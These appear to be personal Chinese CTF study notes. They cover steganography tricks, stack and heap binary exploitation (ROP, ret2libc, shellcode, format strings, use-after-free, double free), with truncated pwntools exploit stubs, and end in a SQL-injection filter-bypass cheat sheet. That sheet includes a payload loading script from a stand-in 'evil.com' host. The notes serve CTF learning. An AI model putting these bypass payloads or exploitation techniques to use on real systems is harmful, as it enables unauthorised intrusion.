3 F5隐写工具 F5-stgeanography
4 宽高不对用010editor修改 分别对应第二行的1-4 和 5-8位 修改后面的三位 用misc下面cbc这个脚本找到正确的宽高 (正确的cbc由stegslove中的CBC)
5 SMTP (Simple Mail Transfer Protocol) 即简单邮件传输协议,是用于在邮件服务器之间发送和接收电子邮件的标准协议。通常在TCP端口25、465或587上
6 出现base64编码的前面是按顺序出现的字母表说明是换表base加密 如xyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 把这个cyberchef解密就可以。在这是示例中base64表还没有提供完整,要自己补充完整xyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/abcdefghijklmnopqrstuvw
7 有出现全角和半角字符可以考虑半角全角字符隐写,可以网站在这解密
8 如果都是空白可能是零宽度字符隐写 可以在https://darkside.com.au/snow/解密
9 wireshark中 要过滤流 tcp and !(tcp contains "fake") 追踪流之后,可以在右下角选择不同的流
10 图片隐写问题一般思路
1 | **1. 查看图片的属性是否藏了东西,一定要使用能够查看exif信息的工具,PNG格式的话使用TweakPNG等工具判断是否存在PNG宽高隐写** |
11 sstv 用rxsstv工具 并且要用vac来虚拟声卡rxsstv
12 音频分析用audasity之后得到一个声道的morse密码 短的代表.长一点是-间隔是/
13 在流量分析找到图片的题目中找到图片所在的瘤然后打开Portable Network Graphics 右键显示分组字节 就能看到图片
这题还用了我的世界中的标准银河字母 dcode
14 有关png数据块的问题用到pngcheck分析出不正常的数据块后,用python中的zlib解压
1 | import zlib |
这里png一个idat块4位大小 4位类型 用这个脚本的时候只要复制里面的数据
15 “锟斤拷” 的成因是 Unicode 的替换字符(Replacement Character,�)于 UTF-8 编码下的结果 EF BF BD 重复,在 GBK 编码中被解释为汉字 “锟斤拷”(EF BF BD EF BF BD)。
先用gbk编码 再用utf-8解释
PWN
栈基础

栈和栈帧示意图
bss段 保存未初始化的全局变量和局部静态变量 data保存已初始化的…… Text保存可执行的机器代码
32位通过栈来传参,跳过4个字节 64位通过寄存器和栈来传参,顺序是 rdi rsi rdx rcx r8 r9 栈
ebp是栈底指针 esp是栈顶指针
字节序分为大端序和小端序
缓冲区溢出在栈上,就叫栈溢出 把ebp占用一部分,直到return的地址
ROP

ret2text
通过栈溢出,控制返回的地址,控制程序的执行流
例题
1 | int dog() |
因为有gets函数,所以有栈溢出,把栈的9个字节填满再填满ebp就是返回的地址
然后发现有一个getshell的函数 找到这个函数地址,作为返回的地址
1 | from pwn import * |
ret2text
原理,当代码中没有刚才那种可以获取权限的后门函数 只有一个system函数在其他地方有”/bin/sh” 把他们拼接一下就可以得到shell
例题2
1 | ssize_t function(void) |
告诉我们举例栈底80字节 然后找到system的地址和binbash的地址 要把这两个拼在一起
因为这个是64位的程序需要寄存器来传参,所以用ROPgedget来找pop和ret相关的 找到rdi的地址
在这里ret是从栈中弹出 地址,所以我们传入payload的顺序是rdi地址,binbash地址 最后是system函数的地址
1 | from pwn import * |
ret2shellcode
shellcode是用户完成某种功能的汇编代码,常见功能就是获取目标的shell
先用垃圾数据填充栈,然后在bss段写入shellcode,最后在返回的地址写上shellcode的地址
例题 Easy_Shellcode
1 | ssize_t Start() |
第一次输入到bss段 第二次输出到buf里面,存在栈溢出
所以把shellcode放在bss然后通过栈溢出来执行这个地址的内容
栈上的shellcode
前提是nx(栈不可执行)保护关闭,程序会把栈的地址输出,接受程序输出的栈地址,然后想栈中输入shellcode
用栈溢出去访问shellcode的地址然后得到shell
例题 getshell
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
通过v4传递shellcode 然后通过栈溢出,再访问到v4的地址 v4地址从输出得到 用recvline就可以
1 | from pwn import * |
ret2libc

got表和plt表
1. GOT 表(全局偏移表)
- GOT 存储了动态链接库函数的真实地址。
- 程序在调用动态库函数时,先通过 GOT 找到真正的地址。
- 在程序加载时,GOT 表的条目最开始存的不是函数的真实地址,而是指向 PLT 中的代码,等函数真正被调用时,动态链接器会填充 GOT 表,使其指向正确的函数地址。
2. PLT 表(过程链接表)
- PLT 负责间接调用动态链接的函数,主要用于延迟绑定(Lazy Binding)。
- 当程序第一次调用动态库函数时,PLT 会先跳转到一个解析器(动态链接器),然后填充 GOT 表,并把真正的函数地址存进去。
- 之后的调用就会直接通过 GOT 表找到真实的函数地址,提高效率。
总结
- GOT:存储动态链接库函数的真实地址
- PLT:在函数第一次调用时,负责解析地址并填充 GOT
实操

x32 payload结构 需要payload构造栈结构来泄漏地址和拼shell
例题:Game
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
b的内容是yes
用gdb开始调试,然后在main断点,根据代码,然后输入yes,yes, 在start函数里面有gets函数,用200个字符让栈炸
找到非法地址Invalid address 0x64413764
1 | from pwn import * |
这里要先打印出puts的实际地址,变成16位取后面的三位,然后取libcdata中找到对应的so下载下来,然后用这个库执行
在32位程序中,这里先用plt + 返回地址 + got(参数 因为32位用栈传参
但是64位中 先要获取rdi地址,然后用参数 + plt(函数 + 返回地址
64位例题: sleep
1 | __int64 fun() |
没有system函数,没有binsh的字段,由于还是动态链接,所以先用gets函数栈溢出,获取puts的真实地址,然后引入system和binsh
用cyclic 生成200个长度字符串搞炸之后,找到rbp的地址 然后用cyclic -l 这个地址(取后8位
1 | from pwn import * |
总的思路和上题不一样,区别是这里的返回地址是main函数,然后这里的传入payload的顺序是rdi + 参数 + 函数 + 返回地址
ret2syscall
在 Linux 及其他类 Unix 系统中,程序通常使用 库函数(如 execve) 调用系统调用,而底层实际上是通过 syscall 指令完成的。
系统调用是操作系统提供给应用程序的一个接口 x86用int 0x80进行系统调用 amd64 用 syscall进行系统调用
execve函数执行的汇编函数
1 | mov eax,0xb |
返回导向编程 ROP
ROP 主要依赖可执行文件或库中的指令片段,这些片段通常以 ret 结尾,称为 ROP Gadgets,攻击者可以通过控制栈上的返回地址,让程序执行一系列精心构造的 Gadgets,从而实现任意代码执行。一般用于绕过DEP等安全保护‘
🚀 ROP 执行流程
- 找到可以控制栈的漏洞(如缓冲区溢出)。
- 覆盖返回地址,指向 ROP Gadgets。
- 构造 ROP 链,让程序执行攻击者希望的操作(如
execve("/bin/sh"))。 - 程序按照 ROP 链执行,完成攻击。
🔹 ret2syscall 的常见应用场景
- 没有 libc 的环境(比如
seccomp限制或者libc没有泄露) - 程序开启了 PIE,但我们可以控制寄存器
- 无法使用 ret2libc 技术(例如不能调用
system()) - ROP 链控制寄存器,使
syscall执行关键的系统调用
例题
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
栈不可执行,也不能用ret2shellcode
用ida打开发现没有system函数 但是存在binsh
用ROPgadget 找到 eax edx ecx ebx的地址 还有 int0x80的地址
用gdb找到栈溢出的偏移量
1 | from pwn import * |
格式化字符串漏洞fmt
是什么
格式化字符串漏洞(Format String Vulnerability)是一种由于 不安全使用格式化函数(如 printf()、sprintf()、snprintf()、fprintf() 等)导致的漏洞。它允许攻击者 读写任意内存地址,甚至劫持程序控制流。
程序没有对这些占位符做验证出 一般的printf有一个参数,但是如果没有这个参数,还是会打印出一个值
这里没有提供参数的时候,它仍然以为调用它的父函数会按照约定将需要的参数全部压入栈中。因此,当printf希望访问第二个参数时,它仍然傻乎乎地认为首地址为ebp + 3 * sizeof(word)的字是第二个参数。这时,它输出的数据就是栈上的其他数据。
作用
- 使程序崩溃
只有输入若干个%s就可以 不可能每个值都对应了合法的地址 - 查看栈内容
依据C语言函数调用栈的规则,printf会默认:首地址为ebp + (2 + n) * sizeof(word)的字是第n个格式化参数。 (32位就是ebp + 4)
那如果想获取首地址为ebp + 102 * sizeof(word)的字的值,是否意味着我们需要在字符串中写上100个占位符呢?这当然是不必要的。我们可以使用100$作为标记,告诉printf此处的占位符需要的参数是第100个格式化参数。如%100$d、%100$c、%100$p等。 - 查看任意地址内存
要想获取任意地址的数据,我们需要先在栈上写入目标地址(有许多方法可以达到这一目的,需要根据题目的条件决定),随后将其作为%s的参数传入。这时,我们就能获取目标地址的数据。 - 写任意数据
利用%n
用%n$d 就可以打印n个整数
%n 是将当前已输出的字符数,写入到指定的内存地址。
1 |
|
综合例题 fmt + libc + overflow
一共有三个函数,要先用格式化字符串漏洞泄漏出cannary 然后用libc得到bash函数 最后用overflow执行
1 | //fmt |
断点设在read 然后查看栈 发现在rbp - 8的地方是在栈的第五个,因为是64位程序,所以要泄漏的地址在第11位
1 | from pwn import * |
在不同的函数之间要用recvline() 和一个recv() 来把题目的消息接受掉 最后的overflow要拼接一个cannary leaklibc传入的参数要用str转换 最后payload要用p64 64位 顺序是参数 函数 返回地址 32位 函数 返回地址 参数
堆基础
如果把栈比做一个袋子,那么堆可以比作绳子, 用户申请一段 然后归还free
linux的进程虚拟地址空间

chunk是管理内存的单位
根据是否被使用可以分为两类
prev_size 如果物理相邻的chunk是free的就表示它的大小 否则存钱一个chunk的数据
size 表示当前chunk的大小,包括chunk头
P flag 记录前一个chunk是否被分配 如果被分配就是1 如果free的就是0
fd pointer 在bin中指向下一个空闲的chunk
64位程序任何一个块大小都是0x10的倍数(最小的块是0x10) prev_size + user data两个字段
size的最后3位是0 所以最后一位是标志位
所以申请一个大小为x的堆块 真正申请到的大小为 x +0x80 并且进行0x10对齐后的大小 比如申请0x10 0x10 + 0x8 = 0x18 对齐 0x20
为了快速分配 Glibc采用了多链表的方式管理堆 有很多bin
bin和内存回收相关 根据用户已经申请到的内存空间进行释放 来决定放到哪类bin去
分为4类 fast bin small bin large bin unsorted bin fastbin是单向链表 其他是双向‘
fastbin
在32位下 大小在16-64字节 <=0x80 不会堆free chunk进行合并
malloc会依次实现不同的分配方法 当所有空闲的chunk都无法满足的时候 会考虑top chunk
free 将用户暂时不用的chunk回收给堆管理器 根据chunk大小来有限试图将free chunk 链入tcache或者fastbin 不满足链入unsorted bin
fastbin 0x20(32字节)至0x80(128字节) 共10个bin
smallbin 0x20(32字节)至0x3f0(1008字节)最大chunk的size字段为0x3f0(用户实际可用大小0x3e0,包含元数据后总大小为0x3f0)
largebin 0x400(1024字节)及以上可能触发堆扩展(brk或mmap),常见于大内存分配场景
unsortedbin 临时缓存释放的chunk,无固定大小限制。- 接收所有非fast bin释放的chunk,包括small和large范围的chunk。
Tcachebin 0x20(32字节)至0x410(1040字节),每个线程独立缓存。
Chunk的size字段:用户申请0x20字节,实际chunk大小为0x30(用户数据0x20 + 头尾元数据0x10)
UAF
free之后没有清空指针
例题: heap_Easy_Uaf
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
菜单题
最后是在are函数中得到flag
1 | int __cdecl Are() |
如果a的值是Flag就返回sh 这里a一开始就申请了内存 并且给a赋值了Flag 但是free之后没有置空 释放后在fastbin里面,如果再申请一个0x68大小的chunk就可以把a申请回来,这时候再写入数据就可以修改a的值
exp:
1 | from pwn import * |
heap double free
题目
1 | int __fastcall __noreturn main(int argc, const char **argv, const char **envp) |
还是一个菜单选项,第一个选项就是分配一个chunk,然后向里面写入数据,第二选项释放chunk 第三个打印,最后退出
先把这些功能封装一下
1 | from pwn import * |
接着分析一下这个题目,因为在free的时候没有把指针置为0,所以会造成doublefree漏洞,可以让我们修改fd指针,从而修改我们想要的值,也就是globals1[4] 思路就是把一块chunk free两次,那这个chunk就又会在fastbin中又会在使用。
如果先free chunk0 然后free chunk1 最后再free一次chunk0 fastbin里的结构就会变成这样
然后malloc出来就会把第一个chunk0拿出来,但是还有一个chunk0在fastbin中
chunk的结构如下
1 | [ prev_size ] (仅在 large bin 中存在) |
那在修改了一个chunk0中的值,在fastbin中的fd指针就会改变
如果再申请一个内存就会申请chunk0 然后把值改成指定地址,就修改了fd指针
最后就申请前面两个chunk然后最后把指定地址的chunk拿过来,把值修改成0x101
最后修改globals地址但是可以修改index为4的值是因为,fd指向的是chunk头,chunk data都是从[chunk head]+sizeof(chunk head)处开始的
1 | from pwn import * |
ida
tab或者f5反编译
shift + f12显示所有的字符串
pwntool
有用到字符串前面要加上b
payload中写入地址要先用p32或者p64转一下 对应的解包函数是u32 用 hex解包的数据就是得到原来的内存
生成shellcode 32位: shellcode = shellcraft.sh() 要再用asm函数转成机器码 64位 shellcraft.amd64.sh() 用64的shellcode要加上context.update(os=’linux’, arch=’amd64’)
shellcode.ljust/rjust(padding,’a’) 从左边/右边开始输入junk数据 填充到padding个数据
sendlineafter 两个参数,第一个是读到哪里,后面一个是这个地方的输入的值
ELF是 Pwntools 提供的一个用于解析 ELF(二进制可执行文件) 的函数,它会返回一个 ELF 类的对象,允许你访问该 ELF 文件的各种信息,如符号表、PLT 表、GOT 表、段地址等。
动态库的地址用 libc = ELF() 函数在libc中的偏移地址是libc.symbols['puts'] ELF.search() 方法用于在 ELF 文件的二进制数据中搜索特定的字节序列。next() 用于获取搜索结果中的第一个匹配项。bin_sh = next(libc.search(b"/bin/sh")) # 在 libc 中查找 "/bin/sh" 字符串
p64是把整数转换成64位字符串 不能转16进制字符串 (将整数转换为 64 位(8 字节)小端序的二进制格式)
str().encode()也能用于把整数转换成字节 encode的作用是在前边加上一个b
ROPgadget
基本用法
1 | ROPgadget --binary <binary> --only "pop|ret" |
pop 是 从栈中取出数据并存入寄存器 的指令ret从栈顶(rsp 指向的地址)取出一个值,并跳转到该地址执行
用--string参数查找特定字符的地址比如'/bin/sh'
gdb
在 GDB 中,cyclic 是一个调试工具,用于生成和识别循环模式(cyclic pattern),通常用于缓冲区溢出(buffer overflow)攻击的调试和漏洞分析。
cyclic 200 这将生成一个200个字节的模式 分析崩溃地址 cyclic -l 0x61616161会返回相应的模式偏移位置,帮助你识别溢出发生的位置
用x $rbp 可以看到rbp的长度 选取后8位
info registers查看寄存器的值
attach pid 调制指定进程
ldd
ldd + 文件名 可以看到用的动态库
随记
SQL注入绕过速查表
过滤and or
1 | or ——> || |
左括号过滤
1 | urlencode,ascii(char),hex,unicode编码绕过 |
右括号过滤
1 | urlencode,ascii(char),hex,unicode编码绕过 |
过滤union\select
1 | 逻辑绕过 |
过滤空格
1 | 用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/() |
过滤=
1 | ?id=1' or 1 like 1 |
过滤比较符<>
1 |
|
过滤where
1 | 逻辑绕过 |
过滤limit
1 | 逻辑绕过 |
过滤group by
1 | 逻辑绕过 |
过滤select
1 | 逻辑绕过 |
过滤’(单引号)
1 | 逻辑绕过 |
过滤逗号
1 | 在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决: |
过滤hex
1 | 逻辑绕过 |
过滤substr
1 | 逻辑绕过 |
编码绕过
利用urlencode,ascii(char),hex,unicode等编码绕过
1 | or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 |
等价函数或变量
1 | hex()、bin() ==> ascii() |
生僻函数
1 | MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’); |
\N绕过
\N相当于NULL字符
1 | select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 |
PCRE绕过
1 | PHP 的 pcre.backtrack_limit 限制利用 |